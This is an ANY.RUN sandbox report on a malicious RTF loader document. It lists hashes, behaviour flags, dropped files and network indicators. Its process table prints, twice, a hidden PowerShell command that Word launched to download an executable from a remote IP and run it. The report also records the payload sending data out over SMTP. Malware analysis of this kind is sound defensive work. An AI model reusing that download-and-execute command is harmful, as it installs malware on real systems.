analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

9060d6afd2b7db8fd3d8b833d2f49f019283cead

Full analysis: https://app.any.run/tasks/509fa163-f48c-4c5c-b04f-444b9bbcc7e4
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: March 31, 2020, 08:18:29
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
maldoc-13
loader
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

DE50A057518460D15683F3B6FE94715A

SHA1:

9060D6AFD2B7DB8FD3D8B833D2F49F019283CEAD

SHA256:

3319E67F563C4E80D90171FEAAD96F3D0C609E2CB6AC0C2A188493934036F49E

SSDEEP:

1536:maUSTPxyjtHv9YH9lH6o0LKkRVOWbUx9dE6mQgaeeVhMDw5wfL2:mW27aRDAw5wfa

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3180)

    • Executable content was dropped or overwritten

      • WINWORD.EXE (PID: 3180)

    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 3180)

    • Requests a remote executable file from MS Office

      • WINWORD.EXE (PID: 3180)

    • Application was dropped or rewritten from another process

      • Phyne.exe (PID: 1232)
      • Phyne.exe (PID: 3680)

    • Downloads executable files from the Internet

      • PowerShell.exe (PID: 304)

    • Downloads executable files from IP

      • WINWORD.EXE (PID: 3180)
      • PowerShell.exe (PID: 304)

    • Writes to a start menu file

      • Phyne.exe (PID: 1232)

    • Actions looks like stealing of personal data

      • Phyne.exe (PID: 3680)

  • SUSPICIOUS

    • Creates files in the program directory

      • WINWORD.EXE (PID: 3180)

    • Unusual connect from Microsoft Office

      • WINWORD.EXE (PID: 3180)

    • Creates files in the user directory

      • PowerShell.exe (PID: 3040)
      • PowerShell.exe (PID: 304)
      • Phyne.exe (PID: 1232)

    • Executable content was dropped or overwritten

      • PowerShell.exe (PID: 304)

    • Application launched itself

      • Phyne.exe (PID: 1232)

    • Connects to SMTP port

      • Phyne.exe (PID: 3680)

    • Reads Environment values

      • Phyne.exe (PID: 3680)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3180)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3180)

    • Reads Internet Cache Settings

      • WINWORD.EXE (PID: 3180)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
5
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe powershell.exe no specs powershell.exe phyne.exe phyne.exe

Process information

PID
CMD
Path
Indicators
Parent process
3180"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\9060d6afd2b7db8fd3d8b833d2f49f019283cead.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3040PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://5.189.132.254/weJUb.exe','C:\Users\admin\AppData\Roaming\Phyne.exe');Start-Process 'C:\Users\admin\AppData\Roaming\Phyne.exe'"C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
304PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://5.189.132.254/weJUb.exe','C:\Users\admin\AppData\Roaming\Phyne.exe');Start-Process 'C:\Users\admin\AppData\Roaming\Phyne.exe'"C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1232"C:\Users\admin\AppData\Roaming\Phyne.exe" C:\Users\admin\AppData\Roaming\Phyne.exe
PowerShell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
UxDJN
Exit code:
0
Version:
2.1.1.1
3680"C:\Users\admin\AppData\Roaming\Phyne.exe"C:\Users\admin\AppData\Roaming\Phyne.exe
Phyne.exe
User:
admin
Integrity Level:
MEDIUM
Description:
UxDJN
Version:
2.1.1.1
Total events
2 146
Read events
1 922
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
4
Text files
4
Unknown types
6

Dropped files

PID
Process
Filename
Type
3180WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR5CDE.tmp.cvr —
MD5:—
SHA256:—
3180WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\616C93EC.png —
MD5:—
SHA256:—
3040PowerShell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NSJB67BZNP5L00DI5JY2.temp —
MD5:—
SHA256:—
304PowerShell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ELPANZ9N8EN3SSLP8XW5.temp —
MD5:—
SHA256:—
3180WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Abctfhghghghgh£.scThtml
MD5:35387086223E1790FD49B32BB5839168
SHA256:94EF116D9C2C9172A4B2FEBF66D243ED6DDF86F2ED25F6CC2B92E2A500582FEB
304PowerShell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFa66c4f.TMPbinary
MD5:771A4BD1FF435345E31FB1162F9926ED
SHA256:7DF9E91CBFE46875DCFE364F9333AADCAF34E9443541B44AFE7305710080EC59
3040PowerShell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:771A4BD1FF435345E31FB1162F9926ED
SHA256:7DF9E91CBFE46875DCFE364F9333AADCAF34E9443541B44AFE7305710080EC59
3180WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:B2C0D997109C58CDD8E7F1BD072AFFF0
SHA256:13CE15B9CB0E4DBED5674F9C9C714348FD01E51612B0F569EB31C62340B448B0
3040PowerShell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFa66c3f.TMPbinary
MD5:771A4BD1FF435345E31FB1162F9926ED
SHA256:7DF9E91CBFE46875DCFE364F9333AADCAF34E9443541B44AFE7305710080EC59
3180WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:418CEC2118A1AF556C045413763E1729
SHA256:45BD53F623F09C58A6AC6A5318BC7986DCBD9779B282719620EA25028C7E249B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3180
WINWORD.EXE
GET
200
5.189.132.254:80
http://5.189.132.254/weJUb.exe
DE
executable
420 Kb
suspicious
304
PowerShell.exe
GET
200
5.189.132.254:80
http://5.189.132.254/weJUb.exe
DE
executable
420 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3680
Phyne.exe
162.241.27.33:587
mail.platinships.net
CyrusOne LLC
US
malicious
304
PowerShell.exe
5.189.132.254:80
—
Contabo GmbH
DE
suspicious
3180
WINWORD.EXE
5.189.132.254:80
—
Contabo GmbH
DE
suspicious

DNS requests

Domain
IP
Reputation
mail.platinships.net
  • 162.241.27.33
unknown

Threats

PID
Process
Class
Message
3180
WINWORD.EXE
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
304
PowerShell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
9060d6afd2b7db8fd3d8b833d2f49f019283cead